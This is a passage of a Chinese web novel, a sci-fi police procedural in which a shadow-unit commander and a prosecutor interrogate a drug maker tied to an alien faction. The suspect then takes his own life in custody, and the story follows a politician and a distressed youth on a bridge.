在凯利斯和林瑜淞在茶水间摸鱼八卦的时候，闻铮把何首席从办公室里送了出来。 何首席一眼就看到了人手一杯同一家咖啡的暗影组成员，咦了一声：“你的团队和你一样咖啡因上瘾啊？” 裴简珩闻言，递给何首席一杯没开封的：“要来一杯吗？” 何首席看了一下咖啡杯，忍痛放弃了这家远近闻名的精品咖啡：“谢谢，不过难得来一次，我还是去尝试一下罗斯警长的咖啡吧，听说很特别。” 江悦在他身后差点被一口咖啡呛死。 谁和他说的？缺不缺德啊？！ 缺德本人示意了一下楼梯的方向：“罗斯警长在楼下，我就不多送了。” 何首席拍了拍他的肩膀，充满期待地下楼奔赴调度前台了。 戴维尔咳了一声：“何首席怎么惹到您了？” 闻铮面不改色：“上次证物链断裂的仇我还没报。” 戴维尔朝只剩下一个高大背影的何首席投掷一个同情的眼神，他们闻哥还是很记仇的。 闻铮话音刚落，面前就多了一杯咖啡。 裴简珩对他弯了弯眼睛：“何首席没喝，指挥官要不要尝一下？” 闻铮：“……谢谢。” 看起来好像也不是刻意地讨好他，正好他还有点困。 虽然刚才拿到了两杯咖啡，但罗斯警长的那杯被他用光明正大的理由丢进了垃圾桶，何首席带的那杯又是致死量的糖分含量，着实难以下咽。 裴简珩眼睛亮起来，闻铮错开眼神不去看他。 怎么回事，突然变得像艾尼默犬属一样。 裴简珩撤回自己的工位，把另一杯没开封的咖啡往文件架后面藏了藏。 闻铮看人都到齐了，正好和他们同步了一下何首席的发现，每个人的神色都凝重了起来。 “我们这里设立之初就是为了清剿7号星上德瓦人的暗藏势力。”闻铮道，“此前大家都做得很好，德瓦人的拔除率达到了历年最高。但这次非法致幻剂和b-356的出现，意味着德瓦势力又在尝试其他的方式渗透进来。” 凯利斯问：“我们下一步要怎么做？” 闻铮道：“我们目前掌握的东西太少了，不足以让我们走在德瓦人的前面，只能从握在手里的信息中再榨点东西出来。” 所有人的脑海中都浮现了同一张脸。 “律师也给他了，”闻铮双手环胸，“我倒要看看但丁对b-356作何解释。” “以防你忍不住对他动手毁了我的案子，我和你一起去。” 一个冷淡的声线传来，裴简珩闻声看去，从传送梯上正走来一个穿着全套黑色正装，身型高挑的清秀男人，他留着中长黑色狼尾发型，发尾底部却是有些扎眼的白色。 裴简珩又下意识地看向闻铮，却见闻铮微笑起来：“池检察官。” 凯利斯吃人嘴短，小声和裴简珩介绍：“这是我们的检察官，池亭。” 裴简珩挑挑眉。 这检察官对闻铮说话倒是蛮不客气的，要么是关系还不错，要么就是有两把刷子。 闻铮示意审讯室的方向：“当然可以，这边请。” 池亭一边走，一边反手指了指楼梯的方向：“我上来的时候好像看到何首席在门外对着垃圾桶吐，他怎么了？” 闻铮面不改色：“没什么，他对咖啡过敏。” 池亭：“？”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 16、第16章 臭名昭著的组合 闻铮带着池亭走进关押着但丁的审讯室，他的律师克林顿在门被打开的一瞬间就闭上了嘴，显然是并不想让别人知道他和他当事人密谋了什么。 克林顿看到闻铮的时候还没什么反应，等看到他身后的池亭，脸上的表情变得微妙了起来：“闻指挥官和池检察官，这个臭名昭著的组合倒是也让我有幸碰上了。” 一个心狠手辣，另一个更是不择手段，每个辩护律师撞到这俩人手里都要蜕一层皮。 “我就不和你说早上好了，”池亭连假笑都是冷冰冰的，“手下败将，三次。” 此言一出，但丁都神色怪异地看了自己的辩护律师一眼。 什么东西手下败将，还输了三次，你到底行不行啊。 克林顿的脸色看上去马上要被自己的口水呛死。 单面镜子后的观审室里，裴简珩也忍不住笑了一下。 看来这位池检察官，确实是有两把刷子。 “那看来我们也不必叙旧了。”克林顿脸色也不好看，“直说吧，我当事人能拿到什么控辩交易[1]？” 闻铮靠在单面镜子上，双手环胸：“交易？我抓了你当事人制造非法致幻剂的现行，有一屋子的人作证，还有两个污点证人能证明你当事人是他们供货的上线，这批货导致了八个人死亡，你以为你们还能拿到什么交易？” 克林顿看向池亭，毕竟他才是最终提起罪名指控的检察官。 池亭坐在他和但丁的对面，眼睛都不抬：“别看我，我可以只起诉你当事人非法制造且买卖违禁药物，也可以再加上八项一级杀人罪，看你当事人的配合程度，以及我的心情。” “一级杀人罪？八项？”克林顿冷笑，“太荒谬了！我当事人又没亲手杀了他们，你想泼脏水也稍微差不多一点！池检察官，你真觉得你的老板会同意吗？” “首先，那八个人是因为你当事人制作并流通出去的非法致幻剂致死的，我完全可以起诉一级杀人，我也有100%的把握说服大陪审团，不信你试试。” 池亭的长相没有闻铮那么浓艳逼人，清秀的脸上唯有那双眼睛摄人心魄，薄薄的唇也让他整个人看起来更尖锐刻薄：“其次，我顺带帮你更新一下信息，昨天我已经被正式升职，现在7号星的检察官办公室由我说了算。” 克林顿：“……” 克林顿被他噎得无话可说。 闻铮在旁边适时开口道：“直到昨天晚上，你当事人都是没有任何得到控辩交易的机会的。但现在，我可以给你们一个交易，只要——” 他眸色一冷：“——告诉我你是从哪里得到的b-356。” 话音未落，但丁的瞳孔猛地紧缩，那双平常只是隐隐的竖瞳变得更加明显！ 裴简珩看了整个过程，他也得出了结论。 这个叫池亭的检察官，不只是能力出众，他和闻铮的关系也很好，能看出来他们这种一个唱红脸一个唱白脸的配合很默契，显然不是第一次合作了。 但丁硬邦邦地吐出几个字：“……不知道你们在说什么。” “你不知道？”闻铮冷笑，“从你的致幻剂半成品中检测出了b-356物质，这是德瓦人特有的成分，你从哪儿搞到的？” 就连作为他辩护律师的克林顿，听到b-356的时候还没有什么反应，但听到德瓦人三个字也是立刻脸色大变。 池亭看到但丁双手被拷在一起，正下意识地把玩着已经被他喝空了的碳酸汽水易拉罐，淡淡道：“现在我会再追加一项反叛联邦罪。” “你可以不说，”闻铮神色晦暗不明，“相信我，等联邦军部接手你的时候，你只会生不如死。” 审讯室陷入沉寂，两分钟后，但丁那双竖瞳盯着闻铮和池亭，一字一顿：“我不知道你们在说什么。” 闻铮刚要说什么，审讯室的门被敲了两下后推开，林瑜淞探进头来：“闻哥。” 闻铮：“现在不行。” 一般来说，闻铮这么说，就意味着他手下的人会识趣地退下了，但这次林瑜淞还是有些无奈地又重复了一遍：“……闻哥。” 闻铮看向他，林瑜淞对他摇了摇头，显然是有什么重要的事不得不现在说。 “没关系，”池亭站起来，“我看也没什么好说的了，传讯庭见吧。” 池亭和闻铮双双出了审讯室，林瑜淞和闻铮小声说：“欧赫来了，罗斯警长没拦住，他现在在您办公室。” 闻铮已经开始头痛了。 而池亭刚出审讯室没几步，身后就传来了克林顿的声音：“检察官！” 池亭转过身，似笑非笑：“怎么，改主意了？” 克林顿把审讯室的门关好，朝他走过来：“我们聊聊？” 裴简珩和凯利斯也从观审室出来，凯利斯对他挑挑眉：“看闻哥审讯有什么感想？” 裴简珩笑：“感觉我的选择是正确的，看来我是一定要想办法留下了。” 凯利斯：“……” 咦？ 闻铮离老远就看见欧赫在他的办公室里等他，他现在看见这些政治浓度高的人就头痛。 他过去的三十多年人生中有接近一半的时间都被政治斗争和官僚主义所侵占，现在隐姓埋名了还是逃不过。 他打开办公室的门：“欧赫议员。” 欧赫大约五十岁不到，头发微微灰白，在脑后梳成了背头，能看到他神色有些憔悴，显然欧睿的死让他大受重创。 “……闻指挥官。” 闻铮示意了一下沙发的位置：“节哀。” 欧赫坐下：“闻指挥官，我一直在等你来找我，但我没有等到。当我想找你的时候，得到的回复是你没空理我这个受害者的家属。” 欧赫的兴师问罪之意分外明显，但闻铮连星际舰队五星上将的命令都敢当面违抗，怎么可能被他震住。 “不好意思，”闻铮淡淡道，“暗影组有自己的办案节奏，德瓦势力是我们的第一优先级。如果你不满意，可以将这个案子移交回凶杀重案组。” 这个案子本来就不应该是交到闻铮手里的，闻铮清楚，欧赫也同样清楚。只是他作为父亲，当然更希望接受他儿子命案的负责人是结案率高达98%的暗影组指挥官。 欧赫没有生气，他眯了眯眼：“那请问闻指挥官，按照暗影组的节奏，你们查到是谁杀了我儿子了吗？” 闻铮在他对面坐下，双腿交叠：“今天是案发第二天上午，虽然我理解你的心情，但现在距离你儿子死亡时间仅过去不到三十五个小时。” 欧赫：“我可以把你这句话理解为’没查到’，对吗？” 他身体微微前倾，试图给闻铮施加压力：“你的组员为什么不在第一时间询问死者的亲属？难道他们不知道亲属才是最了解受害者的人吗？” “因为我和我的组员都认为，比起了解你的儿子，”闻铮眼神锋利，“你更习惯于为你的儿子掩盖肮脏的罪行。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 17、第17章 请来我办公室 办公室内一片寂静。 欧赫目光沉沉，显然闻铮已经知道了他为他儿子动用权财关系遮掩的那点破事，这让他原本来势汹汹的问责气势瞬间矮了一截。 “我本来不想对任何死者进行评判，”闻铮道，“但既然你先开始这个话题，那我就直接地说了。” “欧睿的死法并不好看，很显然不是随机或冲动犯罪。结合你为他掩盖的罪名，想必你自己心里也很清楚最后的结论同样也不会好看。” 欧赫沉默了一会儿，方才道：“记录已经被抹去了，你怎么知道的？” 闻铮答：“很有趣，系统里面的记录又被恢复了，一项一级故意伤害罪，逮捕记录、审讯记录和聆讯记录都很齐全。” “不可能！”欧赫断然，“记录已经被抹去很久了！” “所以这并不是一个简单的凶杀案，”闻铮淡淡道“我建议你还是先查查自己树下的政敌们，下一任星长的儿子有过联邦星系重罪，他的父亲还动用私人关系非法抹除记录，有些人半夜都要笑醒。” 欧赫默然，作为一个半辈子都在尔虞我诈的政治家，他当然猜到了欧睿的死大概率与政治有关，他在一年前选择为欧睿走关系遮掩的这一步的时候，就知道这个儿子会成为他最大的软肋。 但作为父亲，他能有什么办法？ 他为了政治前途和远大理想，放弃了很多的人和事。他的婚姻早就消亡了，而就连这个儿子，从小到大他也很少给到陪伴和关心，在他反应过来的时候，欧睿已经毁了。 在这些亏欠下，他能眼睁睁看着欧睿被送到监狱里去吗？ “……闻指挥官。” 欧赫的声音沙哑：“虽然我不知道你到底是什么身份，又是从何而来，但我知道你不碰政治，也不站任何一边，所以只有你可以给我真相。” 闻铮道：“真相一向很难看，欧赫议员需要确定你能否付得起随之而来的代价。” 他看到欧赫几不可见地点了点头后，将但丁的照片放在悬浮屏上推了过去：“你认识这个人吗？” 欧赫仔细地辨认了一下，摇头。 闻铮一直紧盯着他的表情，看他的神色没有任何波动，不像作伪，于是他将照片收了起来，没再追问但丁这边的事情，而是又回到了欧睿的案底问题：“那项一级故意伤害罪我看甚至都没有开庭，你们和受害者庭外和解了？” 欧赫答：“是我的律师代表去谈的，我不好出面。他告诉我的结果是受害者拿了我提供的和解金，从而同意了撤诉。” 当然要受害者选择撤诉，否则他就算再找关系，也不可能把罪名消除的如此轻易。 闻铮问：“和解金是多少？” 欧赫：“八十万。” 闻铮眉心微微一动，没再说什么，只是把茶几上的纸和笔推了过去：“我需要那个律师的联系方式，以及我希望他不会用保密协议为借口来拒绝和我们合作[1]。” 欧赫点头：“我会提前和他打好招呼。” “最后一个问题，”闻铮问，“你儿子是否有滥用致幻剂的习惯？” 欧赫回答的很快也很坚决：“没有！” 闻铮用那双漆黑的眼睛盯着他，那双眼睛里面的冷冽和审视一瞬间让欧赫感到汗毛直立，似乎自己已经被一眼看透。 他喃喃道：“起码……我不知道。” 他的儿子不知道从哪天开始，突然变成了他不认识的样子。他突然觉得闻铮说的是对的——他真的还了解欧睿吗？ 闻铮也没有什么其他的话要讲了，他站起身送客。 在踏出门之前，欧赫转过身来，憔悴的面容上神情恍然：“……你觉得我做错了吗？” “我不是被你儿子伤害的人，我无权代为置评。” 闻铮垂下眼睫，他的睫毛长而翘，给他锐利的五官平添了几份柔和，他好像在回答欧赫，又好像在说什么别的人。 “不过你可以问问自己，当年你做出选择的时候，想到过这个结果吗？” …… 前脚闻铮刚把欧赫在楼梯口送走，转个身脸色一沉：“凯利斯，裴简珩，请来我办公室，现在立刻。” 林瑜淞朝对面工位的凯利斯挑眉：“你又犯什么错了？” 凯利斯举起双手：“我冤枉！” 他立刻朝隔了个过道的裴简珩甩锅：“你犯什么错了？” 裴简珩：“……应该还没来得及。” 毕竟满打满算刚入职两天…… 两个人踏进闻铮办公室，虽然裴简珩还不知道自己做错了哪里，但已经做好了挨骂的准备。 而出乎他们意料，闻铮并没有生气，他只是坐在转椅上，反手指了指楼梯的方向：“刚才你们都看见了，欧赫来找我，问我的第一个问题是，为什么我们没有第一时间去找受害者的家属了解情况。” “我有我自己的决断，”闻铮双手交叉放在桌子上，“但我想先听一下你们的想法。” 凯利斯一向吊儿郎当的表情也收了起来。解释道：“我们确实有讨论过先去找欧赫议员聊一聊还是先去案发现场，最后还是决定先去现场。在拿到录像的物证回来以后，就和但丁的案子有了交集，所以确实还没有来得及——” 闻铮问：“谁做出的这个决定？” “是我。” 裴简珩朝前一步，沉声道：“凯利斯上校有问过我的想法，是我提议先去案发现场而不是被害者家属的，这是我的决定。” 凯利斯微微挑眉。 闻铮脸上没有什么表情，他的右手在有一下没一下地转笔，颔首问道：“原因。” 裴简珩喉头滚动了一下，他身边的凯利斯能敏锐地感觉到这个新人在紧张。 这倒也很正常，哪怕是跟闻铮一起工作这么久的他，有的时候也会在闻铮面前紧张。 ——无他，闻铮身上的那种从战场和血腥中拼杀出的上位者的气势，着实让人为之震颤。 只是虽然有些紧张，裴简珩的语言表达依然非常清晰，逻辑也很严密。 “罗斯警长和我们同步了一个信息——欧睿在系统中被人抹去的犯罪记录又被恢复了。这不是普通人可以做到的事情，再结合欧赫的敏｜感｜身份，他的死一定和政治有关。”裴简珩娓娓道来，“而他的直系亲属正是7号星上最大的政客。” “就算我们第一时间前去问询，出于对儿子的保护和自身的利益的维护，我不觉得欧赫会说出多少有意义的实话出来。” “因此在掌握更多的证据和事实之前，”裴简珩隔着桌子直视着闻铮的双眼，“我不认为贸然找到欧赫是效率最高的方法。” 小小的房间里面一片安静。 裴简珩顿了一下，又补充道：“当然，这只是我的考量，但毕竟我也刚从业这行两天的时间，如果犯了错误，与凯利斯上校无关，我承担全部责任。” “啪”的一声。 闻铮手中把玩的笔轻轻地落到了桌子上，让裴简珩不禁心头一跳。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 18、第18章 他什么都知道 裴简珩以为闻铮会生气，哪怕他刚做这一行两天的时间，他也知道，没在第一时间去询问受害者的亲属是很特立独行的做法。 而出乎他意料，闻铮看上去没有生气，他甚至弧度很小地笑了一下。 ——他笑了，裴简珩发誓，虽然只有短短的一秒，但闻铮绝对是笑了！ “这也是我刚刚回答欧赫的答案。” 闻铮说，他把掉到桌子上的笔又拿了起来：“我不干涉你处理工作的想法和方法，只要最后可以达到结果。但你在这里一天，你的想法和方法就需要让我知道，明白了吗？” 裴简珩站得很笔挺：“明白！” 闻铮对他们抬了抬下巴：“你们可以出去了。” 踏出闻铮办公室，凯利斯回手把门关上，刚转过来，就看到裴简珩有些出神的表情。 凯利斯捅了他一下：“想什么呢？闻哥没骂你，别往心里去。” 裴简珩摇了摇头，示意自己没往心里去。 犹豫了一下，他还是问了：“凯利斯，你有和闻指挥官说过欧睿的犯罪记录被恢复吗？” 凯利斯道：“没有。” 裴简珩皱眉。 凯利斯知道他在想什么，笑了一下：“你是不是想问，闻哥是怎么知道的？” 银发alpha轻轻点头。 他们手里一共两个案子，欧睿和但丁看似天差地别的两个人，居然会有微妙的联系，以及背后隐隐都有其他势力的影子，不管是政治还是德瓦人。 对闻铮来说，德瓦人显然优先级更高，所以他把更多的精力都放在了但丁身上，在这种前提下，他居然会知道欧睿案子中一些没有跟他说过的细节？ 凯利斯注视着这个新加入的alpha，轻声道：“他什么都知道。” 凯利斯的眼神里说不上是什么，又重复了一遍：“他什么都知道，不然你以为他每天不回家是在这里做什么？” 他见裴简珩表情怔忪，又道：“在这里，每个人对闻哥都没有秘密。只要你对他来说是一本打开的书，你全心地信任他，他就会尽他所能的护着你、为你兜所有的底。” 凯利斯收起了他一向玩世不恭的笑脸，神色冷冽地问裴简珩：“但只要你还守着你的秘密，他就永远不会信任你。” 裴简珩沉默。 他知道这是凯利斯在敲打他，他也知道凯利斯没有恶意，否则他不需要说出来，完全可以等一个月的时间到了，让他滚蛋走人。 但他的秘密…… 裴简珩在心里苦笑，他的秘密又怎么可能对闻铮说出来？ 最起码，现在不行。 在气氛凝滞之时，暗影组这一层的警报突然响起！ 红色的灯光一闪一闪地笼罩整个办公室，电子音机械地重复：“05a警告！05a警告！05a警告！” 裴简珩还没反应过来，凯利斯脸色一变：“05a，嫌疑人生命危险——谁？但丁？！” 身后的门被打开，闻铮像一道风一样越过他们冲了出去！ 闻铮冲到审讯室门口的时候，江悦正在里面双手按着但丁的脖颈，他的脖颈处正在汩汩往外冒血，流到江悦的衣服和地板到处都是。 江悦跪在地上一边按着他的脖子尝试止血，一边无措地看向闻铮：“闻哥！我、我刚才来给他送水的时候就发现他——” 闻铮扭头朝赶来的凯利斯和裴简珩喊道：“叫急救队！” 他蹲在了但丁身边，神色沉沉：“你——” 但丁对他裂开了满是鲜血的嘴，因为脖颈失血，他的声音听起来像是一个坏了的风箱：“你、你无法……阻止！……一切……为了……更……更光辉的……复兴……哈哈！哈哈哈……！” “不、不不不——” 江悦一边喃喃一边死命按着他的伤处，直到闻铮伸手拦住了她。 “他死了。” 闻铮冷冷道。 打完电话叫急救队的裴简珩赶过来，听到的就是这句死亡结论，他眉心一跳——死了？ 江悦失魂落魄地站起来，满手是血，她那双小鹿一样澄澈的眼睛里满是茫然，无助地看向闻铮：“我发誓我把他收监的时候搜身了！我一定搜身过了！” 她的声音轻了下来：“……我搜过吗……？” 闻铮伸手按住她的肩膀：“你搜过了，在我的面前和巡逻执勤队303队长一起搜过的，记得吗？” 闻铮的声音很温和，是裴简珩再次遇到他之后，听到他最温和的一次。 江悦好像现在才呼吸过来。 她也没有来暗影组多久，闻铮知道了她之前的遭遇后，不惜得罪其他人，也把她从凶杀重案组救了过来。 她一直非常非常感激闻哥为她做的一切，她知道不是所有艾尼默人都能得到这样的平等机会。但她也知道现在的自己不管是从能力、经验、还是格斗上都比不过暗影组的其他人，她牟着劲想证明自己，想为闻铮做更多，却没想到还没等来证明的机会，就先闯了大祸。 肩膀上传来的热度让她的情绪稍微回落，闻铮又拍了拍她，侧身让急救队把但丁的尸体搬了出去。 罗斯警长也赶了上来，他看着这一屋子的血和但丁的尸体，脸上浮现出费解的神色：“嫌疑人是否为自杀？” 闻铮表情阴沉：“罗斯警长，请给我过去一小时内的电子眼录像。江悦将嫌疑人收押的时候已经搜过身了，他不可能携带任何致死器物进入审讯室，我需要知道他是怎么做到的。” 罗斯警长点头，回去导出监控录像了。 闻铮垂眼看着地上的血泊，一片猩红中突然出现了一块刺眼的白。 裴简珩递了几张湿巾给他。 闻铮接了过来，一边把手上的血迹擦干，一边大脑转动在思索但丁自杀的原因，以及自杀的方式。 搜身搜过了，不可能是他自己带的任何致命武器； 从收监开始，只有他的辩护律师克林顿接触过他，难道是他？但克林顿要想进入审讯室也必须要经过搜身的，这个不会有问题，那是为什么—— “指挥官。” 裴简珩轻声叫他。 闻铮看过去，裴简珩正用湿巾包着手，从地上的血泊中捡起什么东西。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 19、第19章 你倒是有两把刷子 被裴简珩捡起来放在湿巾中的，是一枚易拉罐拉环。 闻铮同样用湿巾拿过易拉罐拉环，观察到它虽然被血浸染，但就是个再普通不过的碳酸汽水拉环，边缘并没有特别锋利，不可能直直地捅进但丁的脖颈里。 他侧头问江悦：“刚才审讯的时候我注意到但丁在摆弄一个喝空的碳酸汽水罐子，是你们给他的？” 江悦脸色苍白地点点头。 那是当时但丁的辩护律师克林顿向他们要水，她顺手扔给他的。 但这就是很普通的一罐汽水，是符合进入审讯室的物品要求的，怎么会……？ “不会是这个原因。” 粗犷低沉的声音响起，是戴维尔，他用肌肉遒劲的手臂拍了拍江悦，犹豫了几秒钟，还是笨拙地揽了她一下：“别多想。” 林瑜淞把悬浮屏打开，罗斯警长已经把监控录像导出了，他们在这个充满着血腥气的审讯室里看完了整场监控。 在闻铮和池亭走出审讯室后，克林顿和但丁说了什么，声音很小，监控没有录到，但能从表情判断克林顿并不赞同但丁的决定。 两分钟后，克林顿也走出了审讯室。 在克林顿出去以后，但丁一直低着头。 他双手抹了一把脸，深吸了一口气，倏地把那双蛇属的竖瞳露了出来，原本偏金色的眼睛越来越浅，甚至有些浅到发白。 他侧了侧身体，让他的脸正对着监控摄像头。 但丁把易拉罐的拉环卸了下来，在桌子下方摸索着什么。不多时，他对着摄像头裂开了嘴。 ——他用桌子下方的什么东西一把捅进了自己的喉咙侧面，猩红的血像喷泉水枪一般瞬间喷射四溅！ 裴简珩看到这里，立刻蹲了下去观察摸索审讯室桌子下方。 这个房间里的灯光为了审讯，设定的很昏暗，桌子下方更是几乎一片漆黑，然而裴简珩在黑暗中的视力却称得上绝佳，立刻锁定了桌子的一角。 裴简珩站起身，示意其他人往旁边让让，然后单手就将审讯桌翻了过来！ 所有人：“……” 江悦甚至一时之间忘记了恐慌，下意识地倒吸一口冷气。 审讯桌为了防止嫌疑人突然暴起袭警，足足有二百多斤！ 裴简珩就这么、单手、像翻一个魔方一样轻轻松松地把它翻过来了？！ 就连闻铮都怔住了。 这种身体机能和素质，就算是星际舰队中s级的alpha也达不到！这真的是属于人类的能力吗？ 裴简珩却好像没有注意到他们的惊诧，他低头从审讯桌的另一个角落里，轻而易举地将一根长长的尖头螺丝卸了下来。 …… 闻铮从罗斯警长那里确认了但丁确实死于桌子下方右下角的尖头长螺丝，这是用易拉罐拉环卸下来的，被他死死地攥在手里，当时情况紧急，他们谁都没注意到。 ……不对劲。 洗手间的水龙头开着，哗啦哗啦的水声笼罩之下，闻铮洗了一把脸，他看着镜子里自己那张瘦削尖锐的面孔，面无表情地伸手用力按住了后颈。 立刻，从那块缺失的皮肉处传来了巨大的痛感，这里平时不会有任何感觉，但只要从某个角度用力按下去，那种钻心剜骨的痛苦会让他瞬间清醒。 闻铮咬牙等这一波疼痛过去，他单薄的身体在镜子前面隐隐颤栗，他在这样硬扛。 疼痛已经不再能带给他痛苦，而是带给他清醒。 在此期间，他想通了很多不对劲的地方。 但丁为什么会突然自杀？蓟梨草的发现他没有什么反应，而b-356的提及却让他在两个小时内毫不犹豫地选择用死亡掩盖真相。 另外，他怎么会知道审讯桌下面有松动的尖头螺丝？ 易拉罐拉环大概率是巧合，警方审讯的时候提供罐装饮料是合规的，那个拉环的材质本身无法造成伤害，如果没有松动的尖头螺丝，他不可能自杀成功。 此外还有，那个律师…… 闻铮擦干净手，调整呼吸一边思考一边走出了卫生间。 …… 而在暗影组办公室里，显然气氛也并不平静。 克林顿作为但丁的辩护律师，只是出个审讯室二十分钟的功夫，自己的当事人就死在了审讯室里，这让他脸色铁青，当着一屋子暗影组的人和检察官的面就撂狠话。 “我当事人，还没有被定罪的嫌疑人就不明不白死在了你们的审讯室里，”克林顿咬牙切齿，“我一定会起诉你们整个东四区！” 池检察官故作惊讶：“哪里不明哪里不白？监控录像清清楚楚地显示你当事人把螺丝插｜进了自己的喉咙里，你还要多明白？” 克林顿被他呛得一噎。 “你当然可以起诉。” 一个平静的声音响起，克林顿循声看去，是那个一米九的俊朗alpha。 裴简珩站在门口，身型笔直：“在你起诉之前，我有三个问题希望可以得到你的解答。” “第一，但丁被抓来之后没有打电话找过律师，你是怎么知道他在暗影组的？” “第二，你的当事人，人都死了。你为什么还叫嚣着要起诉？只能说明受益方根本就不是但丁。” “第三，综上，你不是但丁委托的，你到底是谁给但丁找来的律师？” 裴简珩的音量不大，声音听上去也并不严厉尖锐，甚至称得上温和，他的遣词用句也足够彬彬有礼到让所有人感受到他的良好家教。 但他的每一个字都掷地有声，并且有着一种奇异的威压，让人不得不跟着他的思路走。 场面一片死寂。 半晌，克林顿扯了扯嘴角，扔下了一句“不知道你在说什么”，拎起自己的公文包就走了。 也不再提所谓的起诉一事。 很显然，裴简珩问到了他无法回答的问题上，有可能是不想回答，也有可能是不能回答。 池亭微微挑眉，显然对裴简珩的印象很深刻：“我没见过你。” 裴简珩眨眼之间就转换了无害的温和模式，对池检察官笑笑：“我叫裴简珩，昨天才入职。” 池亭眯起眼睛：“你倒是有两把刷子，这种逻辑思辨水平，很适合来我办公室当检察官。” 他微微歪头，对裴简珩身后道：“你招来了一个很厉害的人嘛。” 裴简珩：“……” 他似有所感地转过身去，下一秒看到的，就是在门外静静看着他的闻铮。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20、第20章 是你啊 裴简珩不知道闻铮在门外站了多久。 这很罕见，“利刃计划”以后，他的身体机能和精神敏感度都翻了四倍，绝大多数情况下，他对周围的生物气息都非常敏锐。 闻铮好似没听见池亭光明正大的挖墙脚行为，也没说什么，只是问检察官：“克林顿刚才在和你说什么？” 池亭也收起了玩笑：“在说控辩交易的事情，他说他可以尝试再和但丁聊一下，但他希望更多了解一下我们掌握了多少有关于b-356物质的证据。” “你的新人问的问题都是对的，”池亭道，“我和克林顿打过交道，他这次的表现很奇怪，我不觉得他是真心为但丁着想，他绝对不是但丁给自己找的辩护律师。” 闻铮思考了一下，又问：“如果是这样，有可能强行让克林顿配合吗？” “没可能。”池亭一秒回答，“律师和当事人之间的沟通内容受到法律保护，哪怕克林顿的钱不是但丁付，但只要他是为了但丁辩护，保密协议就会生效。” 池亭顿了一下，还是决定给在场的各位法盲普一些专业的法律知识：“除非但丁自己放弃，或者能证明克林顿会伤害但丁作为被告方的正当权益。但很显然，现在这两者都无法实现。” 说完，他不满地瞪了一眼闻铮：“你能不能不要遇到事情的第一反应都是用强？你接暗影组的时候接受过法律考试吗？我都懒得问你但丁的脚踝和膝盖是怎么回事！” 每一次都是这样！ 每一次！！ 诚然，在7号星这里，灰色地带的面积比纯粹的黑和白都要大，联邦主星系那些循规蹈矩的办法在这里行不通，暗影组的自由度也很高，很多警部或军部通用的守则都不必遵守。 但闻铮也是最出格的那一个。 对池亭这个检察官来说，闻铮是一把沾着血的双刃剑。 他为池亭送上了很多重犯，这些重犯让他年纪轻轻地就坐上了7号星检察官办公室首席的位置。 他猜也猜到所谓的“合规”在闻铮这里就是放屁，所以很多时候，只要闻铮能把他要的证据和证人给他，他选择不去知道这些都是怎么来的。 只是作为私交不错的朋友，他时常也担心，这种悬空一线的行为，闻铮究竟还能支撑多久。 而面对池检察官的不满，“法外狂徒”闻指挥官像往常一样假装选择性失聪。 “总而言之，”池亭把话题转回来，“但丁这条路你们别想了，再找找其他角度吧。” 说完他就走了，闻铮也没送，只是问戴维尔：“但丁的生物证据采集的进度怎么样了？” 之前裴简珩点出了但丁的真实身份存疑，闻铮就让戴维尔重新采集了他的生物信息和系统里留存的版本做比对。 戴维尔点开了系统，摇了摇头：“系统内显示没有异常，他的生物信息和但丁.洛佩斯的系统记录是吻合的。” “不过……” 闻铮看他有些犹豫，追问：“不过什么？” 戴维尔把页面放大到共享悬浮屏上：“在但丁出狱记录的照片里确实显示，他的脖颈有监狱的刺青。” 戴维尔说的没错，哪怕照片里但丁的脖颈上有一层薄薄的鳞片，也能依稀看到瑞克斯监狱的标志性刺青印记。 而刚刚闻铮就握着但丁流着血的脖颈，他非常清楚，那里除了薄鳞，什么都没有。 但丁是艾尼默人，德瓦人和艾尼默人是殖民者和被殖民的关系，后者虽然也不喜欢人类，但对德瓦人更是恨之入骨，不论这个蛇属的艾尼默人到底是不是但丁.洛佩斯，他都不应该和德瓦人扯上关系！ 这个决绝地自杀在审讯室的人，到底是谁？！ 所有和德瓦人、b-356以及蓟梨草的线索随着但丁的死，全都断得一干二净—— ——等一下…… 闻铮想到了什么，漆黑如墨的眼中有冷光一闪而过。 …… 夜色已沉，7号星周围没有天然卫星，因此夜空中只有零零散散光芒微弱的星辰，如果没有街灯就完全是一片黑暗。 在市区，最亮的地方就是横跨蓟梨河的那几条跨河大桥，像一条条灯带环绕在暗沉的铅球上。 其中一座跨河大桥的拱形之上，一个身形单薄的少年正靠着栏杆不知道在想什么，那种清秀的脸上是巨大的哀痛。 他的双手死死地握住栏杆，用力到青筋毕现，骨节发白，那双绿色的眼睛里也逐渐被泪水和恨意填满，下一刻就顺着他眼角下的小小疤痕流了下来。 为什么？ 为什么世界如此不公平？！ 为什么？！ 就在他握着栏杆的手用力到即将失去知觉的时候，一个沙哑的声音从他身后传来。 “——这次轮到我劝你别跳河了吗？” 少年一怔，猛地转过身去，在不远处，一个身穿黑色长风衣的高挑瘦削男人，正微微侧头看着他，那双如夜色一般的眼睛几乎要把他整个人吸入其中。 …… 闻铮想到的，仅剩的最后一条线索，就是那个深夜在蓟梨河旁蓟梨草的交易。 他不信除了这件事的利益相关方之外，还会有其他人收购这种到处都有的野草，如果跟着这条线，也未尝不是一个新的方向。 所以他在办公室呆到了凌晨三点，又在和上次差不多的时间到了这个地方，本来想蹲点交易，却在河边无意识抬头的时候看到了一个稍微眼熟的人。 他看到碧眼少年在转过来的时候，还偷偷抹了一把眼角，他出于保护少年的自尊心当作没看到。 “……是你啊。” 少年粗声粗气地说：“你怎么看上去比上次的状态还差。” “我没事，只是需要一点睡眠。”闻铮一带而过，走到了他旁边靠着大桥的栏杆，“你怎么也在这里？” 碧眼少年没说话，只是怔怔看着下面流动不息的江水，半晌才道：“我离不开这里。” 很奇怪的答案。 闻铮没有深究也没有追问，他知道每个人都有秘密，也都有不愿意提及的伤疤。 他只是静静地站在少年身边吹风，一言不发，和这个只见了两次的陌生人共享凌晨微凉的江上晚风，希望自己和他都能在此时此刻获得一丝平静。 二十分钟后，少年才问：“你叫什么名字？” 闻铮说：“你可以叫我闻。” 顿了下，他反问：“你呢？” “戈维。”少年轻轻道，“你可以叫我戈维。” 闻铮轻轻点头，职业病使然，他还是忍不住开口：“很晚了，这里不太安全，你应该回家了。” 戈维哼了一声：“是啊，不安全，也不知道这帮警部的人是干什么吃的，一帮懒货。” 